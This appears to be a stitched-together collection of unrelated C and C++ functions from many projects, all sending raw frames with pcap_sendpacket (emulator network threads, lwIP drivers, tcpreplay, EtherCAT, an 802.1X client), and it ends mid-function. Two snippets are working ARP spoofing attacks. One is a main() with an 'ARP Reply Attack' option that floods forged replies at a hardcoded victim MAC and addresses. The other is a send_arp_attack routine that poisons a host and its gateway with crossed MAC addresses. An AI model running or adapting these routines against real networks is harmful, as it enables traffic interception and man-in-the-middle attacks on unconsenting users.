static void *uaenet_trap_threadw (void *arg) { struct uaenetdata *sd = (struct uaenetdata*)arg; uae_set_thread_priority (1); sd->threadactivew = 1; uae_sem_post (&sd->sync_semw); while (sd->threadactivew == 1) { int32_t towrite = sd->mtu; uae_sem_wait (&sd->change_sem); if (sd->getfunc (sd->user, sd->writebuffer, &towrite)) { pcap_sendpacket (sd->fp, sd->writebuffer, towrite); } uae_sem_post (&sd->change_sem); } sd->threadactivew = 0; uae_sem_post (&sd->sync_semw); return 0; }
void forward(const u_char *packet, size_t size, eth_addr_t to) { struct eth_hdr *header_ethernet; u_char *new_packet; int ret; size_t i; printf("We forward\n"); printf("\t size of the packet = %ld\n", size); printf("A dump of what we received from the network : \n"); for (i = 0 ; i < size ; i++) { printf("%02X ", packet[i]); } new_packet = malloc(sizeof(u_char) * size); if (new_packet == NULL) { perror("Error : cannot allocate memory for a new packet"); exit(1); } memcpy(new_packet, packet, size); header_ethernet = (struct eth_hdr *)new_packet; memcpy(header_ethernet->eth_src.data, my_mac_addr.data, ETH_ADDR_LEN); memcpy(header_ethernet->eth_dst.data, to.data, ETH_ADDR_LEN); ret = pcap_sendpacket(handle, new_packet, size); if (ret < 0) { printf("\t ERROR : failed to forward packet\n"); exit(1); } printf("A dump of what we sent to the network : \n"); for (i = 0 ; i < size ; i++) { printf("%02X ", new_packet[i]); } printf("\n"); free(new_packet); }
static PyObject * p_inject (PyObject *self, PyObject *args) { pcap_t * ppcap; Py_buffer pbuf; if (!PyArg_ParseTuple(args, "ls*", (long int*)&ppcap, &pbuf)) return NULL; if (!PyBuffer_IsContiguous(&pbuf, 'C')) { PyBuffer_Release(&pbuf); return PyErr_Format(PyExc_RuntimeError, "Buffer not contiguous"); } #ifdef WIN32 int rv = pcap_sendpacket(ppcap, pbuf.buf, pbuf.len); rv = rv ? 0 : len; #else int rv = pcap_inject(ppcap, pbuf.buf, pbuf.len); #endif PyBuffer_Release(&pbuf); return Py_BuildValue("i", rv); }
void pcap_send(void) { #ifdef DEBUG_ALL { int i; fprintf(stderr, "send(%p, %d)\n", uip_buf, uip_len); for(i = 0; i < 32 && i < uip_len; i++) { fprintf(stderr, "%02x%s", uip_buf[i], 15 == i % 16 ? "\n" : " "); } if (0 != i % 16) fprintf(stderr, "\n"); } #endif if (0 > pcap_sendpacket(pcap_fp, uip_buf, uip_len)) { perror("pcap_sendpacket"); exit(1); } }
static void SendResponseNotification(pcap_t *handle, const uint8_t request[], const uint8_t ethhdr[]) { uint8_t response[67]; assert((EAP_Code)request[18] == REQUEST); assert((EAP_Type)request[22] == NOTIFICATION); // Fill Ethernet header memcpy(response, ethhdr, 14); // 802,1X Authentication // { response[14] = 0x1; // 802.1X Version 1 response[15] = 0x0; // Type=0 (EAP Packet) response[16] = 0x00; // Length response[17] = 0x31; // // Extensible Authentication Protocol // { response[18] = (EAP_Code) RESPONSE; // Code response[19] = (EAP_ID) request[19]; // ID response[20] = response[16]; // Length response[21] = response[17]; // response[22] = (EAP_Type) NOTIFICATION; // Type int i=23; /* Notification Data (44 Bytes) */ // 其中前2+20字节为客户端版本 response[i++] = 0x01; // type 0x01 response[i++] = 22; // lenth FillClientVersionArea(response+i); i += 20; // 最后2+20字节存储加密后的Windows操作系统版本号 response[i++] = 0x02; // type 0x02 response[i++] = 22; // length FillWindowsVersionArea(response+i); i += 20; // } // } pcap_sendpacket(handle, response, sizeof(response)); }
/** Transmit buffer over socket (non blocking). * @param[in] port = port context struct * @param[in] idx = index in tx buffer array * @param[in] stacknumber = 0=Primary 1=Secondary stack * @return socket send result */ int ecx_portt::outframe(int idx, int stacknumber) { int lp, rval; ec_stackT *stack; if (!stacknumber) { stack = &(this->stack); } else { stack = &(this->redport->stack); } lp = (*stack->txbuflength)[idx]; rval = pcap_sendpacket(*stack->sock, reinterpret_cast<const u_char *>((*stack->txbuf)[idx].getEtherNetHeader()), lp); (*stack->rxbufstat)[idx] = EC_BUF_TX; return rval; }
static ERL_NIF_TERM nif_pcap_sendpacket(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[]) { EWPCAP_STATE *ep = NULL; ErlNifBinary buf = {0}; if (!enif_get_resource(env, argv[0], EWPCAP_RESOURCE, (void **)&ep) || ep->p == NULL) return enif_make_badarg(env); if (!enif_inspect_iolist_as_binary(env, argv[1], &buf)) return enif_make_badarg(env); if (pcap_sendpacket(ep->p, buf.data, buf.size) < 0) return enif_make_tuple2(env, atom_error, enif_make_string(env, pcap_geterr(ep->p), ERL_NIF_LATIN1)); return atom_ok; }
static void SendResponseH3C(pcap_t *handle,const uint8_t request[],const uint8_t ethhdr[],const char username[],const char passwd[]) { if (username == NULL || passwd == NULL){cout<<"Username or password does not exist.quit."<<endl;EXIT(0);}//判定用户名和密码不为空 //uint8_t uint16_t eaplen; size_t usernamelen; size_t passwordlen; size_t packetlen; uint8_t response[128]; assert((EAP_Code)request[18] == REQUEST); assert((EAP_Type)request[22] == ALLOCATED); usernamelen = strlen(username); passwordlen = strlen(passwd); eaplen = htons(6+usernamelen+passwordlen); packetlen =24+usernamelen+passwordlen; //14+4+22+usernamelen; // ethhdr+EAPOL+EAP+usernamelen // Fill Ethernet header memcpy(response, ethhdr, 14); // 802.1X Authentication // { response[14] = 0x1; // 802.1X Version 1 response[15] = 0x0; // Type=0 (EAP Packet) memcpy(response+16, &eaplen, sizeof(eaplen)); // Length // Extensible Authentication Protocol // { response[18] = (EAP_Code) RESPONSE;// Code response[19] = request[19]; // ID response[20] = response[16]; // Length response[21] = response[17]; // response[22] = (EAP_Type) ALLOCATED; // Type response[23] = passwordlen; // Value-Size: 16 Bytes memcpy(response+24, passwd, passwordlen); memcpy(response+24+passwordlen+1, username, usernamelen);//????? // } pcap_sendpacket(handle, response, packetlen); }
ssize_t us_rawnet_send(us_rawnet_context_t *self, const uint8_t dest_mac[6], const void *payload, ssize_t payload_len) { bool r = false; pcap_t *m_pcap = (pcap_t *)self->m_pcap; if (m_pcap) { uint8_t buffer[2048]; uint8_t *data = buffer + 14; if( dest_mac ) { memcpy((void *)buffer, (void *)dest_mac, 6); } else { memcpy((void *)buffer, (void *)self->m_default_dest_mac, 6); } memcpy((void *)(buffer + 6), (void *)self->m_my_mac, 6); buffer[12] = US_GET_BYTE_1(self->m_ethertype); buffer[13] = US_GET_BYTE_0(self->m_ethertype); memcpy(data, payload, payload_len); r = pcap_sendpacket(m_pcap, buffer, (int)payload_len + 14) == 0; } else { r = false; } return r ? payload_len : -1; }
rt_err_t pcap_netif_tx( rt_device_t dev, struct pbuf* p) { struct pbuf *q; rt_uint8_t *ptr; rt_uint8_t buf[2048]; rt_err_t result = RT_EOK; pcap_t *tap; int res; tap = NETIF_PCAP(dev); /* lock EMAC device */ rt_sem_take(&sem_lock, RT_WAITING_FOREVER); /* copy data to tx buffer */ q = p; ptr = (rt_uint8_t*)buf; while (q) { memcpy(ptr, q->payload, q->len); ptr += q->len; q = q->next; } rt_enter_critical(); res = pcap_sendpacket(tap, buf, p->tot_len); rt_exit_critical(); if (res != 0) { rt_kprintf("Error sending the packet: \n", pcap_geterr(tap)); result = -RT_ERROR; } /* unlock EMAC device */ rt_sem_release(&sem_lock); return result; }
static void *uaenet_trap_threadw (void *arg) { struct uaenetdatawin32 *sd = (struct uaenetdatawin32*)arg; uae_set_thread_priority (NULL, 1); sd->threadactivew = 1; uae_sem_post (&sd->sync_semw); while (sd->threadactivew == 1) { int donotwait = 0; int towrite = sd->mtu; uae_sem_wait (&sd->change_sem); if (sd->getfunc ((struct s2devstruct*)sd->user, sd->writebuffer, &towrite)) { pcap_sendpacket (sd->fp, sd->writebuffer, towrite); donotwait = 1; } uae_sem_post (&sd->change_sem); if (!donotwait) WaitForSingleObject (sd->evttw, INFINITE); } sd->threadactivew = 0; uae_sem_post (&sd->sync_semw); return 0; }
//------------------------------------------------------------------------------ tOplkError edrv_sendTxBuffer(tEdrvTxBuffer* pBuffer_p) { int pcapRet; // Check parameter validity ASSERT(pBuffer_p != NULL); //TRACE("%s: TxB=%p (%02X), last TxB=%p\n", __func__, pBuffer_p, (UINT)pBuffer_p->pBuffer[5], edrvInstance_l.pTransmittedTxBufferLastEntry); if (pBuffer_p->txBufferNumber.pArg != NULL) return kErrorInvalidOperation; EnterCriticalSection(&edrvInstance_l.criticalSection); if (edrvInstance_l.pTransmittedTxBufferLastEntry == NULL) { edrvInstance_l.pTransmittedTxBufferLastEntry = edrvInstance_l.pTransmittedTxBufferFirstEntry = pBuffer_p; } else { edrvInstance_l.pTransmittedTxBufferLastEntry->txBufferNumber.pArg = pBuffer_p; edrvInstance_l.pTransmittedTxBufferLastEntry = pBuffer_p; } LeaveCriticalSection(&edrvInstance_l.criticalSection); pcapRet = pcap_sendpacket(edrvInstance_l.pPcap, pBuffer_p->pBuffer, (int)pBuffer_p->txFrameSize); if (pcapRet != 0) { DEBUG_LVL_EDRV_TRACE("%s() pcap_sendpacket returned %d (%s)\n", __func__, pcapRet, pcap_geterr(edrvInstance_l.pPcap)); return kErrorInvalidOperation; } return kErrorOk; }
int PcapWrapper::sendPacket(int adapter_id, unsigned char* packet_buffer, int buffer_size) { #ifdef WIN32 if (!checkForAdapterId(adapter_id)) { // specified adapter not found RETURN_CODE(RC(ADAPTER_NOT_FOUND)); } pcap_t* handle = NULL; if (static_cast<int>(m_adapter_handles.size()) > adapter_id) { handle = m_adapter_handles[adapter_id]; } if (!handle) { fprintf(stderr, "Error: retrievePacket() called on unopened adapter.\n"); RETURN_CODE(RC(ACCESS_ON_UNOPENED_HANDLE)); } if (pcap_sendpacket(handle, packet_buffer, buffer_size ) < 0) { fprintf(stderr, "Error: Failed to send the given packet: \n", pcap_geterr(handle)); RETURN_CODE(RC(UNSPECIFIED_ERROR_OCCURED)); } RETURN_CODE(RC(NORMAL_EXECUTION)); #else fprintf(stderr, "Error: Wrong function called. pcap_sendpacket(...) only works with WinPcap.\n"); RETURN_CODE(RC(UNSPECIFIED_ERROR_OCCURED)); #endif }
/** * returns number of bytes sent on success or -1 on error * Note: it is theoretically possible to get a return code >0 and < len * which for most people would be considered an error (the packet wasn't fully sent) * so you may want to test for recode != len too. * * Most socket API's have two interesting errors: ENOBUFS & EAGAIN. ENOBUFS * is usually due to the kernel buffers being full. EAGAIN happens when you * try to send traffic faster then the PHY allows. */ int sendpacket(sendpacket_t *sp, const u_char *data, size_t len, struct pcap_pkthdr *pkthdr) { int retcode = 0, val; static u_char buffer[10000]; /* 10K bytes, enough for jumbo frames + pkthdr * larger than page size so made static to * prevent page misses on stack */ static const size_t buffer_payload_size = sizeof(buffer) + sizeof(struct pcap_pkthdr); assert(sp); assert(data); if (len <= 0) return -1; TRY_SEND_AGAIN: sp->attempt ++; switch (sp->handle_type) { case SP_TYPE_KHIAL: memcpy(buffer, pkthdr, sizeof(struct pcap_pkthdr)); memcpy(buffer + sizeof(struct pcap_pkthdr), data, min(len, buffer_payload_size)); /* tell the kernel module which direction the traffic is going */ if (sp->cache_dir == TCPR_DIR_C2S) { /* aka PRIMARY */ val = KHIAL_DIRECTION_RX; if (ioctl(sp->handle.fd, KHIAL_SET_DIRECTION, (void *)&val) < 0) { sendpacket_seterr(sp, "Error setting direction on %s: %s (%d)", sp->device, strerror(errno), errno); return -1; } } else if (sp->cache_dir == TCPR_DIR_S2C) { val = KHIAL_DIRECTION_TX; if (ioctl(sp->handle.fd, KHIAL_SET_DIRECTION, (void *)&val) < 0) { sendpacket_seterr(sp, "Error setting direction on %s: %s (%d)", sp->device, strerror(errno), errno); return -1; } } /* write the pkthdr + packet data all at once */ retcode = write(sp->handle.fd, (void *)buffer, sizeof(struct pcap_pkthdr) + len); retcode -= sizeof(struct pcap_pkthdr); /* only record packet bytes we sent, not pcap data too */ if (retcode < 0 && !sp->abort) { switch(errno) { case EAGAIN: sp->retry_eagain ++; goto TRY_SEND_AGAIN; break; case ENOBUFS: sp->retry_enobufs ++; goto TRY_SEND_AGAIN; break; default: sendpacket_seterr(sp, "Error with %s [" COUNTER_SPEC "]: %s (errno = %d)", "khial", sp->sent + sp->failed + 1, strerror(errno), errno); } break; } break; case SP_TYPE_TUNTAP: retcode = write(sp->handle.fd, (void *)data, len); break; /* Linux PF_PACKET and TX_RING */ case SP_TYPE_PF_PACKET: case SP_TYPE_TX_RING: #if defined HAVE_PF_PACKET #ifdef HAVE_TX_RING retcode = (int)txring_put(sp->tx_ring, data, len); #else retcode = (int)send(sp->handle.fd, (void *)data, len, 0); #endif /* out of buffers, or hit max PHY speed, silently retry * as long as we're not told to abort */ if (retcode < 0 && !sp->abort) { switch (errno) { case EAGAIN: sp->retry_eagain ++; goto TRY_SEND_AGAIN; break; case ENOBUFS: sp->retry_enobufs ++; goto TRY_SEND_AGAIN; break; default: sendpacket_seterr(sp, "Error with %s [" COUNTER_SPEC "]: %s (errno = %d)", INJECT_METHOD, sp->sent + sp->failed + 1, strerror(errno), errno); } } #endif /* HAVE_PF_PACKET */ break; /* BPF */ case SP_TYPE_BPF: #if defined HAVE_BPF retcode = write(sp->handle.fd, (void *)data, len); /* out of buffers, or hit max PHY speed, silently retry */ if (retcode < 0 && !sp->abort) { switch (errno) { case EAGAIN: sp->retry_eagain ++; goto TRY_SEND_AGAIN; break; case ENOBUFS: sp->retry_enobufs ++; goto TRY_SEND_AGAIN; break; default: sendpacket_seterr(sp, "Error with %s [" COUNTER_SPEC "]: %s (errno = %d)", INJECT_METHOD, sp->sent + sp->failed + 1, strerror(errno), errno); } } #endif break; /* Libdnet */ case SP_TYPE_LIBDNET: #if defined HAVE_LIBDNET retcode = eth_send(sp->handle.ldnet, (void*)data, (size_t)len); /* out of buffers, or hit max PHY speed, silently retry */ if (retcode < 0 && !sp->abort) { switch (errno) { case EAGAIN: sp->retry_eagain ++; goto TRY_SEND_AGAIN; break; case ENOBUFS: sp->retry_enobufs ++; goto TRY_SEND_AGAIN; break; default: sendpacket_seterr(sp, "Error with %s [" COUNTER_SPEC "]: %s (errno = %d)", INJECT_METHOD, sp->sent + sp->failed + 1, strerror(errno), errno); } } #endif break; case SP_TYPE_LIBPCAP: #if (defined HAVE_PCAP_INJECT || defined HAVE_PCAP_SENDPACKET) #if defined HAVE_PCAP_INJECT /* * pcap methods don't seem to support ENOBUFS, so we just straight fail * is there a better way??? */ retcode = pcap_inject(sp->handle.pcap, (void*)data, len); #elif defined HAVE_PCAP_SENDPACKET retcode = pcap_sendpacket(sp->handle.pcap, data, (int)len); #endif /* out of buffers, or hit max PHY speed, silently retry */ if (retcode < 0 && !sp->abort) { switch (errno) { case EAGAIN: sp->retry_eagain ++; goto TRY_SEND_AGAIN; break; case ENOBUFS: sp->retry_enobufs ++; goto TRY_SEND_AGAIN; break; default: sendpacket_seterr(sp, "Error with %s [" COUNTER_SPEC "]: %s (errno = %d)", INJECT_METHOD, sp->sent + sp->failed + 1, pcap_geterr(sp->handle.pcap), errno); } } #if defined HAVE_PCAP_SENDPACKET /* * pcap_sendpacket returns 0 on success, not the packet length! * hence, we have to fix retcode to be more standard on success */ if (retcode == 0) retcode = len; #endif /* HAVE_PCAP_SENDPACKET */ #endif /* HAVE_PCAP_INJECT || HAVE_PCAP_SENDPACKET */ break; case SP_TYPE_QUICK_TX: #ifdef HAVE_QUICK_TX retcode = quick_tx_send_packet(sp->qtx_dev, data, len); if (retcode < 0) sendpacket_seterr(sp, "Quick TX send failure"); #endif break; case SP_TYPE_NETMAP: #ifdef HAVE_NETMAP retcode = sendpacket_send_netmap(sp, data, len); if (retcode == -1) { sendpacket_seterr(sp, "interface hung!!"); } else if (retcode == -2) { /* this indicates that a retry was requested - this is not a failure */ retcode = 0; goto TRY_SEND_AGAIN; } #endif /* HAVE_NETMAP */ break; default: errx(-1, "Unsupported sp->handle_type = %d", sp->handle_type); } /* end case */ if (retcode < 0) { sp->failed ++; } else if (retcode != (int)len) { sendpacket_seterr(sp, "Only able to write %d bytes out of %u bytes total", retcode, len); sp->trunc_packets ++; } else { sp->bytes_sent += len; sp->sent ++; } return retcode; }
static err_t prvLowLevelOutput( struct netif *pxNetIf, struct pbuf *p ) { /* This is taken from lwIP example code and therefore does not conform to the FreeRTOS coding standard. */ struct pbuf *q; static unsigned char ucBuffer[ 1520 ]; unsigned char *pucBuffer = ucBuffer; unsigned char *pucChar; struct eth_hdr *pxHeader; u16_t usTotalLength = p->tot_len - ETH_PAD_SIZE; err_t xReturn = ERR_OK; ( void ) pxNetIf; #if defined(LWIP_DEBUG) && LWIP_NETIF_TX_SINGLE_PBUF LWIP_ASSERT("p->next == NULL && p->len == p->tot_len", p->next == NULL && p->len == p->tot_len); #endif /* Initiate transfer. */ if( p->len == p->tot_len ) { /* No pbuf chain, don't have to copy -> faster. */ pucBuffer = &( ( unsigned char * ) p->payload )[ ETH_PAD_SIZE ]; } else { /* pbuf chain, copy into contiguous ucBuffer. */ if( p->tot_len >= sizeof( ucBuffer ) ) { LINK_STATS_INC( link.lenerr ); LINK_STATS_INC( link.drop ); snmp_inc_ifoutdiscards( pxNetIf ); xReturn = ERR_BUF; } else { pucChar = ucBuffer; for( q = p; q != NULL; q = q->next ) { /* Send the data from the pbuf to the interface, one pbuf at a time. The size of the data in each pbuf is kept in the ->len variable. */ /* send data from(q->payload, q->len); */ LWIP_DEBUGF( NETIF_DEBUG, ("NETIF: send pucChar %p q->payload %p q->len %i q->next %p\n", pucChar, q->payload, ( int ) q->len, ( void* ) q->next ) ); if( q == p ) { memcpy( pucChar, &( ( char * ) q->payload )[ ETH_PAD_SIZE ], q->len - ETH_PAD_SIZE ); pucChar += q->len - ETH_PAD_SIZE; } else { memcpy( pucChar, q->payload, q->len ); pucChar += q->len; } } } } if( xReturn == ERR_OK ) { /* signal that packet should be sent */ if( pcap_sendpacket( pxOpenedInterfaceHandle, pucBuffer, usTotalLength ) < 0 ) { LINK_STATS_INC( link.memerr ); LINK_STATS_INC( link.drop ); snmp_inc_ifoutdiscards( pxNetIf ); xReturn = ERR_BUF; } else { LINK_STATS_INC( link.xmit ); snmp_add_ifoutoctets( pxNetIf, usTotalLength ); pxHeader = ( struct eth_hdr * )p->payload; if( ( pxHeader->dest.addr[ 0 ] & 1 ) != 0 ) { /* broadcast or multicast packet*/ snmp_inc_ifoutnucastpkts( pxNetIf ); } else { /* unicast packet */ snmp_inc_ifoutucastpkts( pxNetIf ); } } } return xReturn; }
int main (int argc,char* argv[]) { ULONG Src_IP, Dst_IP; int count=0; PMAC Victim_MAC = NULL; UCHAR *arpPacketage=NULL,*pkt_data=NULL,*mac=NULL,*Victim_Mac=NULL; //Local MAC u_int i, res , inum,choice ; time_t seconds; struct tm tbreak; struct pcap_pkthdr *header; char errbuf[PCAP_ERRBUF_SIZE],timestr[100]; pcap_if_t *alldevs, *d; pcap_t *fp; /* The user didn't provide a packet source: Retrieve the local device list */ if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs_ex: %s\n", errbuf); return -1; } i = 0; /* Print the list */ for(d=alldevs; d; d=d->next) { printf("%d. %s\n ", ++i, d->name); if (d->description) printf(" (%s)\n", d->description); else printf(" (No description available)\n"); } if (i==0) { fprintf(stderr,"No interfaces found! Exiting.\n"); return -1; } //選擇網卡執行接下來的程序 printf("Enter the interface number you would like to sniff : "); scanf("%d" , &inum); if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } /* Jump to the selected adapter */ for (d=alldevs, i=0; i< inum-1 ;d=d->next, i++); /* Open the device */ if ( (fp= pcap_open(d->name,// name of the device 65536 /*portion of the packet to capture*/, PCAP_OPENFLAG_PROMISCUOUS /*promiscuous mode*/, 1000 /*read timeout*/, NULL /*authentication on the remote machine*/, errbuf // error buffer )) == NULL) { fprintf(stderr,"/nUnable to open the adapter. %s is not supported by WinPcap/n",d->name); /* Free the device list */ pcap_freealldevs(alldevs); return -1; } //初始化ARP Package printf("1.) ARP Requset 2.)ARP Reply Attack : "); scanf("%d" ,&choice); switch(choice) { case 1: //+8以去掉"rpcap://" mac = GetSelfMac(d->name+8); printf("\nMy Mac : "); PrintHexDecimal(mac); Src_IP = inet_addr("203.64.84.139"); Dst_IP = inet_addr("203.64.84.174"); //Dst_IP = inet_addr("203.64.84.144"); InitARPRequestPackage(mac,Src_IP,Dst_IP); break; case 2: mac = GetSelfMac(d->name+8); Src_IP = inet_addr("203.64.84.1"); //Dst_IP = inet_addr("203.64.84.152"); Dst_IP = inet_addr("203.64.84.136"); Victim_MAC = (PMAC) malloc(sizeof(MAC)); Victim_MAC->byte[0] = 0x08; Victim_MAC->byte[1] = 0x60; Victim_MAC->byte[2] = 0x6E; Victim_MAC->byte[3] = 0x48; Victim_MAC->byte[4] = 0x18; Victim_MAC->byte[5] = 0x3E; /* Victim_MAC->byte[0] = 0x08; Victim_MAC->byte[1] = 0x60; Victim_MAC->byte[2] = 0x6E; Victim_MAC->byte[3] = 0x48; Victim_MAC->byte[4] = 0x1D; Victim_MAC->byte[5] = 0x30;*/ InitARPReplyPackage(mac,Victim_MAC,Src_IP,Dst_IP); free(Victim_MAC); arpPacketage =(UCHAR *) malloc(sizeof(arpPacket)); memcpy(arpPacketage, &arpPacket, sizeof(arpPacket)); /* Send down the packet */ while (1) { if(pcap_sendpacket(fp, arpPacketage, sizeof(arpPacket)) != 0){ printf("\nError sending the packet: \n", pcap_geterr(fp)); break; } ++count; printf("\nArp Reply count : %d",count); } break; } arpPacketage =(UCHAR *) malloc(sizeof(arpPacket)); memcpy(arpPacketage, &arpPacket, sizeof(arpPacket)); /* Send down the packet */ if (pcap_sendpacket(fp, arpPacketage, sizeof(arpPacket) /* size */) != 0) { printf("\nError sending the packet: \n", pcap_geterr(fp)); return; } free(arpPacketage); /* Retrieve the packets */ while((res = pcap_next_ex( fp, &header, &pkt_data)) >= 0) { if(res == 0) // Timeout elapsed continue; /* convert the timestamp to readable format */ seconds = header->ts.tv_sec; localtime_s( &tbreak , &seconds); strftime (timestr , 80 , "%d-%b-%Y %I:%M:%S %p" , &tbreak ); //printf("%s,%.6d len:%d\n", timestr, header->ts.tv_usec, header->len); //Ethernet header ethhdr = (ETHHDR *)pkt_data; if(ntohs(ethhdr->type) == EPT_ARP){ ARPReply = (ETH_ARPHDR *) (pkt_data+sizeof(ETHHDR)); if(ARPReply->arp_spa==Dst_IP){ printf("My_Need_MAC: "); PrintHexDecimal(ARPReply->arp_sha); } } } if(res == -1){ printf("Error reading the packets: %s\n", pcap_geterr(fp)); return -1; } /* At this point, we don't need any more the device list. Free it */ pcap_freealldevs(alldevs); /* start the capture */ return 1; }
// ARP 스푸핑 시작 void send_arp_attack(pcap_t *adhandle) { u_int i; // 패킷 만들기 struct ArpHeader AH; struct ether_header eh; int packet_num = 0; u_char packet[42]; for (i = 0; i < 6; i++) // packet 1~6 { eh.dst_addr[i] = table[!who].mac_address[i]; packet[packet_num++] = eh.dst_addr[i]; // printf("%02x ", eh.dst_addr[i]); } printf("\n"); for (i = 0; i < 6; i++) // packet 6~12 { eh.src_addr[i] = my.Mac[i]; packet[packet_num++] = eh.src_addr[i]; } eh.ether_type = 0x0806; //htons(0x0806) packet 13~14 // 패킷 삽입 추후에 식을 계산해, 값 할당 packet[packet_num++] = 0x08; // ether_type packet[packet_num++] = 0x06; // ether_type packet[packet_num++] = 0x00; // Hardware type packet[packet_num++] = 0x01; // Hardware type packet[packet_num++] = 0x08; // protocol type packet[packet_num++] = 0x00; // protocol type packet[packet_num++] = 0x06; // Hardware size packet[packet_num++] = 0x04; // protocol size packet[packet_num++] = 0x00; // opcode packet[packet_num++] = 0x02; // opcode // 1이면 요청, 2이면 응답 for (i = 0; i < 6; i++) // 보내는 사람 맥 주소 { AH.sender_mac[i] = table[who].mac_address[i]; // 게이트에 보낼땐 호스트의 맥 호스트는 게이트의 맥 packet[packet_num++] = AH.sender_mac[i]; // 여기서 부터 맥 주소를 엇갈리게 보낸다. } printf("\n"); for (i = 0; i < 4; i++) // 보내는 사람 아이피 주소 { packet[packet_num++] = AH.sender_addr[i] = my.IP[i]; } for (i = 0; i < 6; i++) // 타겟의 { packet[packet_num++] = table[!who].mac_address[i]; } for (i = 0; i < 4; i++) // 타겟의 아이피 { packet[packet_num++] = table[!who].Ip[i]; } i = 0; // printf("%d\n", who); while (i <10) { if (pcap_sendpacket(adhandle, packet, 42) != 0) // 타겟 IP 공격 { printf("Error sending the packet: \n"); return; } pcap_loop(adhandle, 1, receiver_handler, NULL); // 패킷 뽑기 i++; } who = !who; }
/* main function */ int main() { char *dev; char erbuf[PCAP_ERRBUF_SIZE]; struct timeval tim; struct pcap_pkthdr hdr; char *point; char str1[50]; int i=0,j=0,counter=0; char ptr[200]; pcap_t *descr1; /* For setting signal handler */ struct sigaction myAction; struct itimerval timer; eth=(struct ethhdr *)malloc(sizeof(struct ethhdr)); len=sizeof(struct ethhdr); strcpy(str1,"\0"); packet=(char*)malloc(1514); point=(char *)malloc(100); dev=pcap_lookupdev(erbuf); if(dev==NULL) { printf("\n\t\terrbuf : %s\n\n",erbuf); exit(1); } descr=pcap_open_live(dev,BUFSIZ,0,-1,erbuf); if(descr==NULL) { printf("\n\t\tCannot open:%s\n",erbuf); exit(1); } do { printf("\n\t\tWaiting for INIT packet from client : %d \n",counter+1); i=pcap_loop(descr,1,my_callback,NULL);// wait for INIT packet ether_head(); strcpy(str1,"\0"); strcpy(str1,"SYN 1."); memcpy(packet+14,str1,sizeof(str1)); printf("\n\t\tSending SYNC packet to client : %d\n",counter+1); counter++; /* Send sync packet containing T1 */ i=pcap_sendpacket(descr,packet,1514); if(i==-1) { pcap_perror(descr,ptr); printf("\n\t\tERROR : %s\n",ptr); printf("\n\t\tError in inject function!!!\n"); } memset(&myAction,0,sizeof(struct sigaction)); myAction.sa_handler = CatchAlarm; /* block everything in handler */ if (sigfillset(&myAction.sa_mask) < 0) printf("sigfillset() failed"); myAction.sa_flags = 0; if (sigaction(SIGALRM, &myAction, 0) < 0) printf("sigaction() failed for SIGALRM"); alarm(TIMEOUT_SECS); pcap_setdirection(descr,PCAP_D_IN); /* Wait for packet containig loop for T3 */ i=pcap_loop(descr,1,my_callback,NULL); if(i==-1) printf("\n\n\t\tError in pcap_loop\n"); else if(i==-2) { strcpy(str1,"\0"); strcpy(str1,"ERROR "); //new descr1=pcap_open_live(dev,BUFSIZ,0,-1,erbuf); if(descr1==NULL) { printf("\n\t\tCannot open:%s\n",erbuf); exit(1); } memcpy(packet+14,str1,sizeof(str1)); i=pcap_sendpacket(descr1,packet,1514); /* Sending error packet */ if(i==-1) pcap_perror(descr1,point); printf("\n\t\tT3 not received... exiting\n"); continue; pcap_close(descr1); } else { alarm(0); printf("\n\t\tDelay request packet received in time\n"); } ether_head(); //T4 time sent strcpy(str1,"\0"); strcpy(str1,"SYN 3."); memcpy(packet+14,str1,sizeof(str1)); sprintf(str1,"%ld.%ld",t.tv_sec,t.tv_nsec); memcpy(packet+20,str1,sizeof(str1)); i=pcap_sendpacket(descr,packet,1514); //sending T4 if(i==-1) printf("\n\n\t\tError in sending Delay response packet\n"); /* Set signal handler for alarm signal */ myAction.sa_handler = CatchAlarm; if (sigfillset(&myAction.sa_mask) < 0) /* block everything in handler */ printf("sigfillset() failed"); myAction.sa_flags = 0; if (sigaction(SIGALRM, &myAction, 0) < 0) printf("sigaction() failed for SIGALRM"); alarm(TIMEOUT_SECS); pcap_setdirection(descr,PCAP_D_IN); i=pcap_loop(descr,1,my_callback,NULL); //T4 reply if(i==-1) printf("\n\t\tError in pcap_loop()\n"); else if(i==-2) { strcpy(str1,"\0"); strcpy(str1,"ERROR "); //new memcpy(packet+14,str1,sizeof(str1)); i=pcap_sendpacket(descr,packet,1514); //sending error printf("\n\t\tT4 reply not received... exiting\n\n"); continue; } else { alarm(0); printf("\n\t\tT4 reply received in time\n"); printf("\n\t\tClient %d : Request satisfied!!!\n\n\n\n\n",counter); } }while(1); return 0; }
/** low_level_output(): * Transmit a packet. The packet is contained in the pbuf that is passed to * the function. This pbuf might be chained. */ static err_t pcapif_low_level_output(struct netif *netif, struct pbuf *p) { struct pbuf *q; unsigned char buffer[1520]; unsigned char *buf = buffer; unsigned char *ptr; struct eth_hdr *ethhdr; u16_t tot_len = p->tot_len - ETH_PAD_SIZE; struct pcapif_private *pa = (struct pcapif_private*)netif->state; #if defined(LWIP_DEBUG) && LWIP_NETIF_TX_SINGLE_PBUF LWIP_ASSERT("p->next == NULL && p->len == p->tot_len", p->next == NULL && p->len == p->tot_len); #endif /* initiate transfer */ if (p->len == p->tot_len) { /* no pbuf chain, don't have to copy -> faster */ buf = &((unsigned char*)p->payload)[ETH_PAD_SIZE]; } else { /* pbuf chain, copy into contiguous buffer */ if (p->tot_len >= sizeof(buffer)) { LINK_STATS_INC(link.lenerr); LINK_STATS_INC(link.drop); snmp_inc_ifoutdiscards(netif); return ERR_BUF; } ptr = buffer; for(q = p; q != NULL; q = q->next) { /* Send the data from the pbuf to the interface, one pbuf at a time. The size of the data in each pbuf is kept in the ->len variable. */ /* send data from(q->payload, q->len); */ LWIP_DEBUGF(NETIF_DEBUG, ("netif: send ptr %p q->payload %p q->len %i q->next %p\n", ptr, q->payload, (int)q->len, (void*)q->next)); if (q == p) { memcpy(ptr, &((char*)q->payload)[ETH_PAD_SIZE], q->len - ETH_PAD_SIZE); ptr += q->len - ETH_PAD_SIZE; } else { memcpy(ptr, q->payload, q->len); ptr += q->len; } } } /* signal that packet should be sent */ if (pcap_sendpacket(pa->adapter, buf, tot_len) < 0) { LINK_STATS_INC(link.memerr); LINK_STATS_INC(link.drop); snmp_inc_ifoutdiscards(netif); return ERR_BUF; } LINK_STATS_INC(link.xmit); 